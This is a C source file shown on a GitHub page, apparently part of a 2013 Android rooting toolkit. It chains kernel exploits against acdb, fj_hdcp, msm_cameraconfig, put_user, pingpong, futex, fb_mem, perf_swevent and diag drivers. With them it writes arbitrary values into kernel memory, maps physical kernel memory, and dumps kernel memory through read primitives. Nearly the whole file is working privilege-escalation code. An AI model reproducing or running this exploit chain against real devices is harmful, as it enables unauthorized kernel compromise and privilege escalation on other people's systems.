-
Notifications
You must be signed in to change notification settings - Fork 54
/
exploit.c
481 lines (383 loc) · 11.2 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
/*
* Copyright (C) 2013 fi01 <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include "exploit.h"
#include "device_database.h"
#include <diag.h>
#include <perf_event.h>
#include <acdb.h>
#include <fj_hdcp.h>
#include <msm_cameraconfig.h>
#include <fb_mem.h>
#include <put_user.h>
#include <get_user.h>
#include <pingpong.h>
#include <futex.h>
#define PAGE_OFFSET 0xc0000000
#define KERNEL_SIZE 0x02000000
typedef struct _callback_info_t {
exploit_callback_t func;
void *param;
bool result;
} callback_info_t;
static bool fb_mem_exploit_enable = true;
void
set_fb_mem_exploit_enable(bool enable)
{
fb_mem_exploit_enable = enable;
}
static bool
run_callback(void *param)
{
callback_info_t *info = param;
info->result = info->func(info->param);
return true;
}
static unsigned long int default_kernel_physical_offset = 0x80208000;
void set_default_kernel_physical_offset(unsigned long int offset)
{
default_kernel_physical_offset = offset;
}
static unsigned long int
find_kernel_text_from_iomem(void)
{
unsigned long int kernel_ram;
FILE *fp;
fp = fopen("/proc/iomem", "rt");
if (!fp) {
return 0;
}
kernel_ram = 0;
while (!feof(fp)) {
unsigned long int start, end;
char buf[256];
char *p;
int len;
char colon[256], name1[256], name2[256];
int n;
p = fgets(buf, sizeof (buf) - 1, fp);
if (p == NULL)
break;
if (sscanf(buf, "%lx-%lx %s %s %s", &start, &end, colon, name1, name2) != 5
|| strcmp(colon, ":")) {
continue;
}
if (!strcasecmp(name1, "System") && !strcasecmp(name2, "RAM")) {
kernel_ram = start;
continue;
}
if (strcasecmp(name1, "Kernel") || (strcasecmp(name2, "text") && strcasecmp(name2, "code"))) {
kernel_ram = 0;
continue;
}
fclose(fp);
kernel_ram += 0x00008000;
printf("Detected kernel physical address at 0x%08lx from iomem\n", kernel_ram);
return kernel_ram;
}
fclose(fp);
return 0;
}
static unsigned long int
get_kernel_physical_offset(void)
{
unsigned long int offset;
offset = device_get_symbol_address(DEVICE_SYMBOL(kernel_physical_offset));
if (!offset) {
offset = find_kernel_text_from_iomem();
}
if (offset) {
return offset;
}
return default_kernel_physical_offset;
}
static bool
attempt_diag_exploit(unsigned long int address,
unsigned long int write_value,
callback_info_t *info)
{
struct diag_values injection_data;
if (write_value > (uint16_t)-1) {
return false;
}
injection_data.address = address;
injection_data.value = (uint16_t)write_value;
return diag_run_exploit(&injection_data, 1, &run_callback, info);
}
static bool
attempt_acdb_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
callback_info_t *info)
{
if (acdb_run_exploit(address, write_value, &run_callback, info)) {
acdb_write_value_at_address(address, restore_value);
return true;
}
return false;
}
static bool
attempt_fj_hdcp_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
callback_info_t *info)
{
if (fj_hdcp_run_exploit(address, write_value, &run_callback, info)) {
fj_hdcp_write_value_at_address(address, restore_value);
return true;
}
return false;
}
static bool
attempt_msm_cameraconfig_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
callback_info_t *info)
{
unsigned long int offset;
offset = get_kernel_physical_offset();
if (offset) {
msm_cameraconfig_set_kernel_phys_offset(offset - 0x00008000);
}
if (msm_cameraconfig_write_value_at_address(address, write_value)) {
run_callback(info);
msm_cameraconfig_write_value_at_address(address, restore_value);
return true;
}
return false;
}
static bool
attempt_put_user_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
callback_info_t *info)
{
if (put_user_run_exploit(address, write_value, &run_callback, info)) {
put_user_write_value_at_address(address, restore_value);
return true;
}
return false;
}
static bool
attempt_pingpong_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
callback_info_t *info)
{
if (pingpong_run_exploit(address, write_value, &run_callback, info)) {
pingpong_write_value_at_address(address, restore_value);
return true;
}
return false;
}
static bool
attempt_futex_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
callback_info_t *info)
{
if (futex_run_exploit(address, write_value, &run_callback, info)) {
futex_write_value_at_address(address, restore_value);
return true;
}
return false;
}
static bool
attempt_fb_mem_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
callback_info_t *info)
{
unsigned long int offset;
offset = get_kernel_physical_offset();
if (offset) {
fb_mem_set_kernel_phys_offset(offset - 0x00008000);
}
if (fb_mem_write_value_at_address(address, write_value)) {
run_callback(info);
fb_mem_write_value_at_address(address, restore_value);
return true;
}
return false;
}
bool
attempt_exploit(unsigned long int address,
unsigned long int write_value,
unsigned long int restore_value,
exploit_callback_t callback_func,
void *callback_param)
{
callback_info_t info;
info.func = callback_func;
info.param = callback_param;
info.result = false;
// Attempt exploits in most stable order
printf("Attempt acdb exploit...\n");
if (attempt_acdb_exploit(address, write_value, restore_value, &info)) {
return info.result;
}
printf("\n");
printf("Attempt fj_hdcp exploit...\n");
if (attempt_fj_hdcp_exploit(address, write_value, restore_value, &info)) {
return info.result;
}
printf("\n");
printf("Attempt msm_cameraconfig exploit...\n");
if (attempt_msm_cameraconfig_exploit(address, write_value, restore_value, &info)) {
return info.result;
}
printf("\n");
printf("Attempt put_user exploit...\n");
if (attempt_put_user_exploit(address, write_value, restore_value, &info)) {
return info.result;
}
printf("\n");
printf("Attempt pingpong exploit...\n");
if (attempt_pingpong_exploit(address, write_value, restore_value, &info)) {
return info.result;
}
printf("\n");
printf("Attempt futex exploit...\n");
if (attempt_futex_exploit(address, write_value, restore_value, &info)) {
return info.result;
}
printf("\n");
if (fb_mem_exploit_enable) {
printf("Attempt fb_mem exploit...\n");
if (attempt_fb_mem_exploit(address, write_value, restore_value, &info)) {
return info.result;
}
printf("\n");
}
printf("Attempt perf_swevent exploit...\n");
if (perf_swevent_run_exploit(address, write_value, &run_callback, &info)) {
return info.result;
}
printf("\n");
if (attempt_diag_exploit(address, write_value, &info)) {
return info.result;
}
return false;
}
static bool
attempt_mmap_msm_cameraconfig_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
unsigned long int offset;
int fd_video, fd_config;
void *address;
bool result;
offset = get_kernel_physical_offset();
if (offset) {
msm_cameraconfig_set_kernel_phys_offset(offset - 0x00008000);
}
address = msm_cameraconfig_mmap(&fd_video, &fd_config);
if (address == MAP_FAILED) {
return false;
}
result = callback_func(msm_cameraconfig_convert_to_mmaped_address((void *)PAGE_OFFSET, address),
KERNEL_SIZE,
callback_param);
msm_cameraconfig_munmap(address, fd_video, fd_config);
return result;
}
static bool
attempt_mmap_fb_mem_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
unsigned long int offset;
int fd;
void *address;
bool result;
offset = get_kernel_physical_offset();
if (offset) {
fb_mem_set_kernel_phys_offset(offset - 0x00008000);
}
address = fb_mem_mmap(&fd);
if (address == MAP_FAILED) {
return false;
}
result = callback_func(fb_mem_convert_to_mmaped_address((void *)PAGE_OFFSET, address),
KERNEL_SIZE,
callback_param);
fb_mem_munmap(address, fd);
return result;
}
bool
attempt_mmap_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
printf("Attempt msm_cameraconfig exploit...\n");
if (attempt_mmap_msm_cameraconfig_exploit(callback_func, callback_param)) {
return true;
}
printf("\n");
if (fb_mem_exploit_enable) {
printf("Attempt fb_mem exploit...\n");
if (attempt_mmap_fb_mem_exploit(callback_func, callback_param)) {
return true;
}
}
return false;
}
bool
attempt_memcpy_exploit(exploit_memory_callback_t callback_func, void *callback_param)
{
void *mem;
int i;
bool result;
printf("Try copying kernel memory... It will take a long time.\n");
mem = malloc(KERNEL_SIZE);
if (!mem) {
printf("malloc(): failed\n");
}
result = true;
printf("Attempt pingpong exploit...\n");
for (i = 0x00008000; i < KERNEL_SIZE; i += 4 * PINGPONG_MAX_REQUEST_COUNT) {
if (!pingpong_read_values_at_address(PAGE_OFFSET + i, mem + i, PINGPONG_MAX_REQUEST_COUNT)) {
result = false;
break;
}
}
if (!result) {
result = true;
printf("Attempt futex exploit...\n");
for (i = 0x00008000; i < KERNEL_SIZE; i += 4 * FUTEX_REQUEUE_MAX_REQUEST_COUNT) {
if (!futex_read_values_at_address(PAGE_OFFSET + i, mem + i, FUTEX_REQUEUE_MAX_REQUEST_COUNT)) {
result = false;
break;
}
}
}
if (!result) {
result = true;
printf("Attempt get_user exploit...\n");
for (i = 0x00008000; i < KERNEL_SIZE; i += 4) {
if (!get_user_read_value_at_address(PAGE_OFFSET + i, mem + i)) {
result = false;
break;
}
}
}
if (result) {
result = callback_func(mem, KERNEL_SIZE, callback_param);
}
free(mem);
return result;
}